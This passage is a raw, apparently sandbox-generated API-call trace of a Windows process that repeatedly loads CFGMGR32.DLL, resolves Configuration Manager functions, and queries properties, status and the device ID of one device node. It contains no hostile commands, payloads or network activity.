0x7ffb1ceee8a0 [0198.016] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0198.016] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0198.016] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0198.016] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0198.016] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0198.017] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0198.017] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0198.017] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0198.017] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0198.017] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0198.018] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0198.018] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0198.018] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0198.018] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0198.018] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0198.018] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0198.019] malloc (_Size=0x18) returned 0x20abc281f60 [0198.019] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0198.019] malloc (_Size=0x48) returned 0x20abc27cf80 [0198.019] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x31caf276, dwHighDateTime=0x1d9eb0c)) [0198.019] SetEvent (hEvent=0x248) returned 1 [0198.023] malloc (_Size=0xd8) returned 0x20abc2867b0 [0198.023] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0198.023] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0198.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0198.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0198.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0198.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0198.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0198.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0198.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0198.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0198.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0198.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0198.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0198.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0198.026] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0198.026] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0198.026] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0198.026] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0198.027] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0198.027] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0198.027] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0198.027] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0198.027] malloc (_Size=0x18) returned 0x20abc281cc0 [0198.027] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0198.028] malloc (_Size=0x48) returned 0x20abc27cf80 [0198.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x31cd561a, dwHighDateTime=0x1d9eb0c)) [0198.028] SetEvent (hEvent=0x248) returned 1 [0198.032] malloc (_Size=0xd8) returned 0x20abc2867b0 [0198.032] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0198.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0198.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0198.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0198.033] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0198.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0198.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0198.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0198.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0198.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0198.034] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0198.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0198.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0198.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0198.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0198.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0198.035] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0198.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0198.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0198.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0198.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0198.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0198.036] malloc (_Size=0x18) returned 0x20abc281de0 [0198.037] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0198.037] malloc (_Size=0x48) returned 0x20abc27cf80 [0198.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x31cd561a, dwHighDateTime=0x1d9eb0c)) [0198.037] SetEvent (hEvent=0x248) returned 1 [0198.044] malloc (_Size=0xd8) returned 0x20abc2867b0 [0198.044] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0198.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0198.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0198.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0198.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0198.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0198.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0198.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0198.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0198.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0198.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0198.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0198.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0198.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0198.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0198.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0198.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0198.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0198.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0198.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0198.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0198.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0198.047] malloc (_Size=0x18) returned 0x20abc281ea0 [0198.048] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0198.051] malloc (_Size=0x48) returned 0x20abc27cf80 [0198.051] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x31cfb7a3, dwHighDateTime=0x1d9eb0c)) [0198.051] SetEvent (hEvent=0x248) returned 1 [0198.270] malloc (_Size=0xd8) returned 0x20abc2867b0 [0198.270] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0198.271] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0198.271] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0198.271] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0198.271] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0198.271] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0198.272] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0198.272] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0198.272] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0198.272] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0198.272] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0198.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0198.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0198.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0198.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0198.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0198.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0198.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0198.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0198.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0198.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0198.274] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0198.275] malloc (_Size=0x18) returned 0x20abc281fc0 [0198.275] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x1c, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0198.275] malloc (_Size=0x48) returned 0x20abc27cf80 [0198.275] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x31f19314, dwHighDateTime=0x1d9eb0c)) [0198.276] SetEvent (hEvent=0x248) returned 1 [0198.281] malloc (_Size=0xd8) returned 0x20abc2867b0 [0198.282] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0198.282] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0198.282] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0198.282] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0198.282] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0198.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0198.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0198.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0198.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0198.283] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0198.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0198.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0198.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0198.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0198.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0198.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0198.284] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0198.285] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0198.285] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0198.285] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0198.285] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0198.285] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0198.285] malloc (_Size=0x18) returned 0x20abc281ea0 [0198.285] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x1c, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0198.286] malloc (_Size=0x48) returned 0x20abc27cf80 [0198.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x31f37b87, dwHighDateTime=0x1d9eb0c)) [0198.286] SetEvent (hEvent=0x248) returned 1 [0198.290] malloc (_Size=0xd8) returned 0x20abc2867b0 [0198.290] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0198.290] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0198.290] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0198.290] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0198.291] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0198.291] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0198.291] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0198.291] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0198.291] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0198.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0198.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0198.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0198.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0198.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0198.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0198.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0198.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0198.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0198.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0198.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0198.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0198.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0198.295] malloc (_Size=0x18) returned 0x20abc2819e0 [0198.295] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0198.296] malloc (_Size=0x48) returned 0x20abc27cf80 [0198.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x31f5e12a, dwHighDateTime=0x1d9eb0c)) [0198.296] SetEvent (hEvent=0x248) returned 1 [0198.301] malloc (_Size=0xd8) returned 0x20abc2867b0 [0198.301] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0198.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0198.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0198.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0198.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0198.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0198.302] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0198.303] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0198.303] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0198.303] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0198.303] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0198.303] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0198.304] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0198.304] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0198.304] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0198.304] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0198.304] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0198.304] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0198.304] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0198.305] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0198.305] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0198.305] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0198.305] malloc (_Size=0x18) returned 0x20abc281960 [0198.306] CM_Get_Device_IDA (in: dnDevInst=0x1d, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\IP_TUNNEL_VBUS\\ISATAP_0") returned 0x0 [0198.306] malloc (_Size=0x48) returned 0x20abc27cf80 [0198.306] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x31f5e12a, dwHighDateTime=0x1d9eb0c)) [0198.306] SetEvent (hEvent=0x248) returned 1 [0198.310] malloc (_Size=0xd8) returned 0x20abc2867b0 [0198.310] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0198.310] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0198.310] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0198.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0198.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0198.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0198.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0198.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0198.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0198.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 